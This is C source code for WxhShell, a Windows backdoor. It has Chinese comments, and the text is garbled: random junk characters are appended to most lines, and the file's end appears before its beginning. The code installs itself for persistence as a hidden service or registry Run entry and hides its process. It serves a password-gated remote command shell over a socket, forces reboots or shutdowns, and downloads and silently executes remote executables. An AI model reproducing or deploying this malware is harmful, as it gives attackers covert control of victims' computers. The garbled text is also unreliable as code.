    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3{e'YD~hP  
    else { g8l5.Mpx  
    closesocket(wsh); [x5mPjgw  
    ExitThread(0); w4,]2Ccn.  
    } /&(1JqzlB  
    break; e #M iaX  
    } +I@cO&CY|  
  // 获取shell {p]=++  
  case 's': { Gm A!Mo  
    CmdShell(wsh); i4<BDX5  
    closesocket(wsh); O,|\"b1(  
    ExitThread(0); t8/%D gu  
    break; _=EZ `!%  
  } h>klTPM>  
  // 退出 I+",b4  
  case 'x': { Ak A!:!l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @1bH}QS  
    CloseIt(wsh); CW-Ae  
    break; _*E!gPO  
    } #ib^Kg  
  // 离开 c+2sT3).D  
  case 'q': { a+Ab]m8`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 63M=,0-Qt  
    closesocket(wsh); +c) TDH  
    WSACleanup(); #9:2s$O[x  
    exit(1); bi$VAYn.^  
    break; mxp Y&Y  
        } yFjVKp'P  
  } YB5dnS"n  
  } \bold"  
3D_"y Z  
  // 提示信息 ){ gAj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |')-VhLLK  
} cDeZMsV  
  } utH%y\NMF|  
,E}$[mHyjz  
  return; [l*;E f,  
} mU@xc N  
>DP:GcTG  
// shell模块句柄 3=- })X ;  
int CmdShell(SOCKET sock) !re1EL  
{ `!i-#~n  
STARTUPINFO si; [/$N!2'5  
ZeroMemory(&si,sizeof(si)); RJ}#)cT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X;!~<~@Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u7].}60.'  
PROCESS_INFORMATION ProcessInfo; z"UPyW1?  
char cmdline[]="cmd"; 1bSD,;$sQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `R+,1"5=  
  return 0; [@G`Afaf  
} " U8S81'  
^npJUa  
// 自身启动模式 }C,O   
int StartFromService(void) ;Z9IZ~  
{ {Uq:Xw   
typedef struct H;S%Y`V  
{ |=5/Rax^  
  DWORD ExitStatus; 0+`Pg  
  DWORD PebBaseAddress; hO( RZ '{  
  DWORD AffinityMask; H~o <AmE0!  
  DWORD BasePriority; |" 7 Y52d  
  ULONG UniqueProcessId; .'d2J>~N  
  ULONG InheritedFromUniqueProcessId; 3n48%5  
}   PROCESS_BASIC_INFORMATION; tsv$r$Se  
Lgi[u"Du  
PROCNTQSIP NtQueryInformationProcess; _~M^ uW^l  
+S9PML){h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8omC%a}9m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R#eg^7HfX  
F,T~\gO5,  
  HANDLE             hProcess; &HDP!SLS  
  PROCESS_BASIC_INFORMATION pbi; [BDGR B7d"  
M_|> kp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !w2gGy:I>  
  if(NULL == hInst ) return 0; f/y`  
DWm SC}{.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n:4uA`Vg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ; Lql_1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *e/K:k  
T3pdx~66  
  if (!NtQueryInformationProcess) return 0; XsL#;a C  
xs!p|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JhX=l-?  
  if(!hProcess) return 0; yI)~]K r  
VKW|kU7Cs$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }}T,W.#%u  
D7 ?C  
  CloseHandle(hProcess); `ifiL   
'\~^TFi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (OmH~lSO.  
if(hProcess==NULL) return 0; {{!Y]\2S  
KnzsHli,~k  
HMODULE hMod; >M;u*Go`QO  
char procName[255]; 2]WE({P  
unsigned long cbNeeded; $nPAm6mH  
,Em$!n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .}`hCt08  
ig_2={Q@  
  CloseHandle(hProcess); :i*JnlvZ  
)=^w3y  
if(strstr(procName,"services")) return 1; // 以服务启动 Q+$Tt7/  
+j[oEI`e  
  return 0; // 注册表启动 Z|* !y]We  
} $_X|, v9  
23ze/;6%A  
// 主模块 f3tv3>p  
int StartWxhshell(LPSTR lpCmdLine) @pza>^wk  
{ Of[;Qn  
  SOCKET wsl; r\M9_s8  
BOOL val=TRUE; ?mYYt]R  
  int port=0; Y+-xvx :  
  struct sockaddr_in door; G|u3UhyB  
P?ep]  
  if(wscfg.ws_autoins) Install(); 3,eIB(  
ma& To=  
port=atoi(lpCmdLine); "Ty/k8?  
KfY$ka[}"S  
if(port<=0) port=wscfg.ws_port; ,,<PVTd  
uCP>y6I  
  WSADATA data; rrBAQY|.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KMK`F{  
7^:4A'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2eP ;[o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l{WjDed  
  door.sin_family = AF_INET; BavO\{J#|0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); { T]?o~W  
  door.sin_port = htons(port); @QEqB_W  
slW3qRT\k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }_OM$nzj  
closesocket(wsl); s(2GFc  
return 1; ,^'R_efY  
} r/:%}(7;  
NAFsFngqH  
  if(listen(wsl,2) == INVALID_SOCKET) { 8cWZ"v  
closesocket(wsl); k|E]YvnfG  
return 1; 0ZI(/r  
} !~iGu\y  
  Wxhshell(wsl); vS?odqi#n  
  WSACleanup(); xytr2V ]aV  
qr(`&hB-L  
return 0; 4? (W%?  
8;\sU?  
} FG-L0X  
!u;>Wyd W  
// 以NT服务方式启动 M8;lLcgu.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `NNf&y)y  
{ %i0\1hhV<  
DWORD   status = 0; T1Ta?b  
  DWORD   specificError = 0xfffffff; *OTS'W~t  
S"2qJ!.u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +8P,s[0<R_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w YNloU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5,KWprb  
  serviceStatus.dwWin32ExitCode     = 0; h y-cG%f  
  serviceStatus.dwServiceSpecificExitCode = 0; 4sF v?W  
  serviceStatus.dwCheckPoint       = 0; ":W%,`@$  
  serviceStatus.dwWaitHint       = 0; GH4iuPh]  
!.X.tc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )@g;j>  
  if (hServiceStatusHandle==0) return; 2XSHZ|;  
9s$U%F6}  
status = GetLastError(); b=PVIZ  
  if (status!=NO_ERROR) P\R27Jd  
{ 6vy7l(%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1(dj[3Mt  
    serviceStatus.dwCheckPoint       = 0; CnF |LTi  
    serviceStatus.dwWaitHint       = 0; ]Yyia.B  
    serviceStatus.dwWin32ExitCode     = status; VM=+afY5M  
    serviceStatus.dwServiceSpecificExitCode = specificError; j|_E$L A\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =_TaA(79  
    return; M#jN-ix  
  } \ZXLX'-  
kJK,6mN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MBr:?PE7  
  serviceStatus.dwCheckPoint       = 0; wsfd8T4  
  serviceStatus.dwWaitHint       = 0; ra7uU*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?/#}ZZK^  
} quu*xJ;Ci  
\+PIe7f_  
// 处理NT服务事件,比如:启动、停止 BN_7Ay/k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5i So8*9}  
{ (Ye>Cp+]  
switch(fdwControl) jx`QB')kX  
{ f|7u_f  
case SERVICE_CONTROL_STOP: T=Z.U$  
  serviceStatus.dwWin32ExitCode = 0; M^madx6`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  b`mj_b  
  serviceStatus.dwCheckPoint   = 0; deX5yrvOie  
  serviceStatus.dwWaitHint     = 0; ?(zoTxD  
  { Oxx^[ju~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); keAcKhj  
  } VV_l$E$  
  return; MQ/ A]EeL  
case SERVICE_CONTROL_PAUSE: adEJk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q 2? X"!  
  break; g=)J~1&p  
case SERVICE_CONTROL_CONTINUE: /uqu32;o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i, nD5 @#  
  break; ]rBM5~  
case SERVICE_CONTROL_INTERROGATE: VDEv>u4  
  break; T)CzK<LbR  
}; ^(x^6d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <I*x0BM=  
} $So%d9k  
o@E/r.uK  
// 标准应用程序主函数 ,K9f_bv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VrP}#3I  
{ Zf*r2t1&P  
,2[ra9n  
// 获取操作系统版本 $A\m>*@  
OsIsNt=GetOsVer(); q`|CrOzO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D$k8^Vs  
eARk QV  
  // 从命令行安装 ;."<m   
  if(strpbrk(lpCmdLine,"iI")) Install(); FcbM7/  
rjA@U<o  
  // 下载执行文件 [pOg'  
if(wscfg.ws_downexe) { obClBO)@Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) . 5HQ   
  WinExec(wscfg.ws_filenam,SW_HIDE); /ONV5IkPy  
} M++0zhS  
8s}J!/2  
if(!OsIsNt) { m 40m<@  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;1AG3P'  
HideProc(); Dma.r  
StartWxhshell(lpCmdLine); 8pZ< 9t'  
} VAQ)Hc]  
else =5]n\"/  
  if(StartFromService()) P!g-X%ngo  
  // 以服务方式启动 X~T/qFS   
  StartServiceCtrlDispatcher(DispatchTable); C"<s/h  
else - Xupq/[,  
  // 普通方式启动 Rhgj&4  
  StartWxhshell(lpCmdLine); h,t|V}Wb  
.=R lOK  
return 0; !F4;_A`X  
} JMV50 y  
3 pWM~(#>-  
)6oGF>o>  
#XIc "L)c  
=========================================== qc-,+sn(  
o=+Z.-q  
:Hy]  
:> -1'HC  
F#r#}.B='U  
X~U >LLr  
" `x8B n"  
8QgA@y"  
#include <stdio.h> xh9qg0d  
#include <string.h> %|Qw9sbd  
#include <windows.h> Y>6.t"?Q^  
#include <winsock2.h> *7gT}O;p 5  
#include <winsvc.h> u:P~j  
#include <urlmon.h> |^n3{m  
! >.vh]8g  
#pragma comment (lib, "Ws2_32.lib") M].8HwC+  
#pragma comment (lib, "urlmon.lib") Z| 6{T  
_2Zp1h,  
#define MAX_USER   100 // 最大客户端连接数 %CH6lY=lI  
#define BUF_SOCK   200 // sock buffer ~5aE2w0K   
#define KEY_BUFF   255 // 输入 buffer 5N/Lk>p1u  
>9K//co"of  
#define REBOOT     0   // 重启 x"B' zP  
#define SHUTDOWN   1   // 关机 Utl t<  
loOOmHhJ&  
#define DEF_PORT   5000 // 监听端口 P_4DGW  
L ubrn"128  
#define REG_LEN     16   // 注册表键长度 cnNOZ$)  
#define SVC_LEN     80   // NT服务名长度 v"lf-c  
gT52G?-  
// 从dll定义API 4YA./j%'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ur%$aX)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y;`eDS'0.N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )/t6" "  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cnh|D^{s  
E,"&-`/2v  
// wxhshell配置信息 'x%x'9OP  
struct WSCFG { ~ 9M!)\~  
  int ws_port;         // 监听端口 b5`KB75sbo  
  char ws_passstr[REG_LEN]; // 口令 [/9(NUf  
  int ws_autoins;       // 安装标记, 1=yes 0=no )C]x?R([m  
  char ws_regname[REG_LEN]; // 注册表键名 hl/itSl$  
  char ws_svcname[REG_LEN]; // 服务名 __N.#c/l{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !vqC+o>@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jbw!:x [  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HkjEiU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'p}`i/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dk5|@?pe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]|oJ)5P  
.[pUuVq]  
}; F'W> 8  
Hcv u7uD  
// default Wxhshell configuration 4br6$  
struct WSCFG wscfg={DEF_PORT, wK5_t[[  
    "xuhuanlingzhe",  &"S/Lt  
    1, ;bjnL>eW  
    "Wxhshell", ?Myh 7  
    "Wxhshell", *8A6Q9YT  
            "WxhShell Service", ZwJciT!_~  
    "Wrsky Windows CmdShell Service", MOZu.NmO  
    "Please Input Your Password: ", X0i3_RVa  
  1, s (PY/{8  
  "http://www.wrsky.com/wxhshell.exe", ([pSVOnIz  
  "Wxhshell.exe" oXal  
    }; rxE&fjW  
0D3OE.$0  
// 消息定义模块 tbur$ 00  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {*xBm#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ejcwg*i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  rz  
char *msg_ws_ext="\n\rExit."; &?<AwtNN  
char *msg_ws_end="\n\rQuit."; _Z#eS/,O@  
char *msg_ws_boot="\n\rReboot..."; P;U@y" s  
char *msg_ws_poff="\n\rShutdown..."; lo:~aJ8  
char *msg_ws_down="\n\rSave to "; dr]&kqm  
Q1V2pP+=@  
char *msg_ws_err="\n\rErr!"; i?>Hr|  
char *msg_ws_ok="\n\rOK!"; gxM[V>[  
htHv&  
char ExeFile[MAX_PATH]; $ KQ,}I  
int nUser = 0; Z3;=w%W  
HANDLE handles[MAX_USER]; P;GprJ`l  
int OsIsNt; 6VR[)T%  
FdxsU DL  
SERVICE_STATUS       serviceStatus; ^, wnp@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l>Av5g)  
Z<]VTo  
// 函数声明 jgRCs.6  
int Install(void); pt})JMm  
int Uninstall(void); chLeq  
int DownloadFile(char *sURL, SOCKET wsh); w%u5<  
int Boot(int flag); n-OWwev)  
void HideProc(void); .<w)Bmh  
int GetOsVer(void); !sK#zAR2  
int Wxhshell(SOCKET wsl); DQ_ 2fX~)  
void TalkWithClient(void *cs); !R{em48D  
int CmdShell(SOCKET sock); r$DZkMue  
int StartFromService(void); O5MDGg   
int StartWxhshell(LPSTR lpCmdLine); B$7[8h  
^pw7o6}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &;U|7l~vl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FO^24p  
R0IF'  
// 数据结构和表定义 cG(0q[  
SERVICE_TABLE_ENTRY DispatchTable[] = jkCHi@  
{ BHclUwj  
{wscfg.ws_svcname, NTServiceMain}, >w2f8tW`PP  
{NULL, NULL} ULu O0\W  
};  8bGD  
k+txb?  
// 自我安装 *-7fa0<  
int Install(void) i-"<[*ePd  
{ F*!gzKZ"  
  char svExeFile[MAX_PATH]; \7DCwu[0M  
  HKEY key; !PI0oh  
  strcpy(svExeFile,ExeFile); !qS05  
+{^'i P  
// 如果是win9x系统,修改注册表设为自启动 &<t79d%{  
if(!OsIsNt) { K*:Im #Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8J^d7uC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `.`FgaJ |  
  RegCloseKey(key); ZmP1C`>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~D_ rZ&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C\/b~HU  
  RegCloseKey(key); x3_,nl  
  return 0; Ks51:M  
    } 'Ye]eL,I\  
  } F]0Jwm{  
} WS5"!vz   
else { - BjEL;  
/rOnm=P+Q  
// 如果是NT以上系统,安装为系统服务 u{pTva  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YpiRF+G  
if (schSCManager!=0) J]\s*,C&  
{ flPZlL  
  SC_HANDLE schService = CreateService `43vxcMg  
  ( A` =]RJ  
  schSCManager, +Bn?-{h=  
  wscfg.ws_svcname, \Qp}|n1JY  
  wscfg.ws_svcdisp, i(z+a6^@|  
  SERVICE_ALL_ACCESS, Ipg\9*c`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ym[+Rw  
  SERVICE_AUTO_START, ,A^L=+  
  SERVICE_ERROR_NORMAL, &'NQ)Dn  
  svExeFile, %qONJP  
  NULL, )v};C<  
  NULL, Jfe~ ,cI  
  NULL, C\J@fpH(t`  
  NULL, #'#4hJ*YC  
  NULL Vj29L?3  
  ); EJv!tyJ\[  
  if (schService!=0) ;+r0 O0;9  
  { rrbZ+*U  
  CloseServiceHandle(schService); Re7{[*Q4  
  CloseServiceHandle(schSCManager); +6uOg,;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hc>([?P%t  
  strcat(svExeFile,wscfg.ws_svcname); q~mcjbLz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p-a]"l+L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gca|?tt  
  RegCloseKey(key); Bk@bN~B4  
  return 0; "[Yip5  
    } zkH<aLRB  
  } EWSr@}2j .  
  CloseServiceHandle(schSCManager); ws#hhW3qK  
} l DgzM3  
} h)"'YzCt  
FyQOa)5  
return 1; ZV0) ."^Z  
} #cR57=M}  
twAw01".  
// 自我卸载 p0"BO4({{  
int Uninstall(void) U9bFUK/z  
{ 9tW3!O^_  
  HKEY key; n (9F:N  
_CHKh*KHML  
if(!OsIsNt) { OX'/?B((  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mf!owpW T  
  RegDeleteValue(key,wscfg.ws_regname); \XZU'JIO  
  RegCloseKey(key); ( ?atGFgu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RJQ/y3  
  RegDeleteValue(key,wscfg.ws_regname); g8C+1G8  
  RegCloseKey(key); 9c#L{in  
  return 0; D-;J;m \  
  } AviT+^7E  
} Kv(Y }  
} 3xc:Y> *`  
else { 0^-z?Kb<}  
mm3zQ!2j.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =9#i<te  
if (schSCManager!=0) N;%j#(v j  
{ /^nP_ID  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [I#Q  
  if (schService!=0) h}Fu"zK  
  { 1Al=v  
  if(DeleteService(schService)!=0) { !.x=r  
  CloseServiceHandle(schService); rCV$N&rK  
  CloseServiceHandle(schSCManager); #MmmwPB_  
  return 0; J$o[$G_Z  
  } 1',+&2)oj  
  CloseServiceHandle(schService); k i~Raa/e  
  } ":5~L9&G  
  CloseServiceHandle(schSCManager); r>n8`W  
} 1 8l~4"|fk  
} fSm?27_  
F>hVrUD8  
return 1; vLVSZX  
} p]atH<^;K  
1aXIhk4  
// 从指定url下载文件 kW*W4{Fth  
int DownloadFile(char *sURL, SOCKET wsh) Cf8R2(-4  
{ ^v()iF !  
  HRESULT hr;  uhPIV\  
char seps[]= "/"; 0ll,V  
char *token; 67EDkknt  
char *file; \H}@-*z+)  
char myURL[MAX_PATH]; ~8S4Kj)%  
char myFILE[MAX_PATH]; -M(58/y  
D(W7O>5vQ2  
strcpy(myURL,sURL); t/4/G']W  
  token=strtok(myURL,seps); !YuON6{)  
  while(token!=NULL) qX}dbuDE"P  
  { `0/gs  
    file=token; c;A ew!  
  token=strtok(NULL,seps); 0:nt#n~_  
  } u!156X?[eU  
3M5=@Fwkr  
GetCurrentDirectory(MAX_PATH,myFILE); ^$^Vd@t>a  
strcat(myFILE, "\\"); dvH67 x  
strcat(myFILE, file); f]^J,L9qz  
  send(wsh,myFILE,strlen(myFILE),0); eFeCS{LV+  
send(wsh,"...",3,0); pD)/- Dgdm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `\}zm~  
  if(hr==S_OK) m''iE  
return 0; *HfW(C$  
else }T&;*ww  
return 1; 0Mzc1dG:  
}pU!1GsO  
} `^@g2c+d  
6 I>xd  
// 系统电源模块 G=0}IPfp  
int Boot(int flag) n Y.Umj  
{ pNk,jeo  
  HANDLE hToken; vFkyfX(   
  TOKEN_PRIVILEGES tkp; mSqk[ Ig\  
;U5x'}%0]  
  if(OsIsNt) { kgib$t_7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o Q!g!xz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HEW9YC"  
    tkp.PrivilegeCount = 1; [~&:`I1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tI6USN%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }G0.Lq+a  
if(flag==REBOOT) { Q{)F$]w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CuGOjQ-k~  
  return 0; 5>^ W}0s  
} jmwQc&  
else { .>\>F{#~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0V>N#P]  
  return 0; T3PaG\5B  
} /m|&nl8"qe  
  } [sh"?  
  else { I'wk/  
if(flag==REBOOT) { 4FP~+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mU0r"\**c3  
  return 0; j,V$vKP  
} +xu/RY_  
else { DqC}f#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?5+KHG*)  
  return 0; z]4g`K+  
} s Gm(Aax*0  
} 6d?2{_},  
Z6 |'k:R8  
return 1; qS`|=5f  
} F(kRAe;  
 26klW:2*  
// win9x进程隐藏模块 ?tM].\  
void HideProc(void) DcvmeGl  
{ ():?FJ M  
5In8VE !P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h,RUL  
  if ( hKernel != NULL ) \(v_",  
  { NX #/1=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jgfP|oD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7)5$1  
    FreeLibrary(hKernel); @nW(KF  
  } 9/qS*Zdh)  
uL{~(?U$  
return; ?@ye*%w_  
} 1RO gUJ;  
1VM5W!}  
// 获取操作系统版本 NCh(-E  
int GetOsVer(void) XIW: Nk!S  
{ 7bW!u*v-c  
  OSVERSIONINFO winfo; )|1JcnNSa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D0_x|a  
  GetVersionEx(&winfo); g(F*Y> hk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) af5`ktx  
  return 1; jQBdS. }'v  
  else .KMi)1L)  
  return 0; hx;kEJ  
} .2-JV0  
<("w'd}  
// 客户端句柄模块 m.g@S30  
int Wxhshell(SOCKET wsl) vpw&"?T  
{ "+ JwS  
  SOCKET wsh; $}c@S0%P"  
  struct sockaddr_in client; UE;) mZ=l|  
  DWORD myID; sNpBTG@{l  
m6ws #%|[  
  while(nUser<MAX_USER) '|R@k_nx  
{ xW ZcSIH!  
  int nSize=sizeof(client); 80" =Qu{s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xr6 !b:UX  
  if(wsh==INVALID_SOCKET) return 1; 7CN[Z9Y^}  
;Z~.54Pf{d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [<I `slK  
if(handles[nUser]==0) P+|8MT0  
  closesocket(wsh); 9<r}s  
else p%y\`Nlgdx  
  nUser++; !>);}J!e]  
  } _o"3gfH&sJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >43yty\   
&>b1ES.>  
  return 0; xa*gQ%+F  
} ^W05Z!}  
)GKgK;=~  
// 关闭 socket G&H"8REm  
void CloseIt(SOCKET wsh) *w,gi.Y3  
{ 0-~x[\>>  
closesocket(wsh); #E@i@'T  
nUser--; vj$ 6  
ExitThread(0); TRok4uc  
} ~,1q :Kue  
=eLb"7C#0  
// 客户端请求句柄 |;-r};  
void TalkWithClient(void *cs) ,#O8:s  
{ xA E@cwg  
,F Vy:"FR  
  SOCKET wsh=(SOCKET)cs; 5hK\YTU  
  char pwd[SVC_LEN]; tP{$}cEY  
  char cmd[KEY_BUFF]; )eMh,r  
char chr[1]; *?"{T;4u~O  
int i,j; K! j*:{  
:J-5Q]#  
  while (nUser < MAX_USER) { lhj2u]yU0S  
=Q/>g6  
if(wscfg.ws_passstr) { 3:#rFb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,RO(k4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f~9Y1|6  
  //ZeroMemory(pwd,KEY_BUFF); Cw5K*  
      i=0; ZHasDZ8  
  while(i<SVC_LEN) { BAHx7x#(  
KHN ,SB  
  // 设置超时 Z?mg1;Q  
  fd_set FdRead; &2igX?60  
  struct timeval TimeOut; mkA|gM[g7  
  FD_ZERO(&FdRead); V,5}hQJ F  
  FD_SET(wsh,&FdRead); ~Xw?>&  
  TimeOut.tv_sec=8; .Tv(1HAc2l  
  TimeOut.tv_usec=0; 4pT|r6!<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ii9/ UtIQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R!G7;m'N1  
#{,IY03  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j}l8k@f  
  pwd=chr[0]; Am  $L  
  if(chr[0]==0xd || chr[0]==0xa) { I!D*(>  
  pwd=0; 3fTI&2:  
  break; V}-o): dI|  
  } ZRfa!9vl  
  i++; q04Dj-2<  
    } !g"9P7p  
+r_[Tj|Er  
  // 如果是非法用户,关闭 socket x~eEaD5m%J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7!;/w;C  
} *rT(dp!Y  
I_7EfAqg(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [CX?Tt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KL]!E ~i  
{fD#=  
while(1) { 'O9=*L) X  
 H>6;I  
  ZeroMemory(cmd,KEY_BUFF); G.TX1  
g<%-n,  
      // 自动支持客户端 telnet标准   yTiqG5r  
  j=0; ypo=y/!  
  while(j<KEY_BUFF) { [bJnl>A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ya 4$7|(  
  cmd[j]=chr[0]; V}+;b bUc-  
  if(chr[0]==0xa || chr[0]==0xd) { )W|jt/  
  cmd[j]=0; ,$$$_+m\  
  break; DjvgKy=Jr_  
  } y/eX(l<{  
  j++; _1Gut"!{\  
    } y:[]+  
[HDO^6U  
  // 下载文件 o1+]6s+j}  
  if(strstr(cmd,"http://")) { A"iD4Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a@ }r[0O  
  if(DownloadFile(cmd,wsh)) :/%xK"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Q0-jS#d  
  else F:GKnbY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I]1Hi?A2  
  } wQB{K3  
  else { )^f Q@C8  
K/ m)f#  
    switch(cmd[0]) { )0MshgM  
  i9U_r._qj;  
  // 帮助 x]cZm^  
  case '?': { ]GKx[F{)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _k.bGYldk  
    break; `h5eej&s(  
  } 166c\QO  
  // 安装 ! H=k7s  
